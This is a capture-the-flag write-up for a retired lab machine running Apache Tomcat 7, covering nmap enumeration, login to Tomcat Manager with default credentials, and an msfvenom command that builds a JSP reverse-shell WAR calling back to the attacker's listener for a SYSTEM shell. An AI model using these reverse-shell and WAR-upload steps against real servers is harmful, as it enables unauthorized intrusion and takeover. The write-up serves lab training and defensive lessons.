Retired machine. Credentials and flags redacted - solve it yourself.
Summary
Apache Tomcat Manager with default credentials → deploy a malicious WAR → shell as NT AUTHORITY\SYSTEM.
Enumeration
nmap -sC -sV -p- 10.129.136.9 -v
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 (Tomcat 7.0.88)
- Directory busting found
/manager/html(Tomcat Manager App).
Exploitation
- Tomcat Manager used default credentials (
tomcat/ redacted). - Manager allows WAR upload → deploy a reverse-shell WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your-ip> LPORT=<your-port> -f war > shell.war
- Set up a listener, upload
shell.warvia the Manager, trigger it. - Shell returned as
NT AUTHORITY\SYSTEM- already highest privilege.
Post-Exploitation
Both flags were in the flags folder on the Administrator and Guest desktops.
Lessons Learned
- Always check for exposed management interfaces (Tomcat Manager).
- Default credentials remain a frequent, easily-missed vector.
- A WAR upload is a quick RCE path on a misconfigured Tomcat.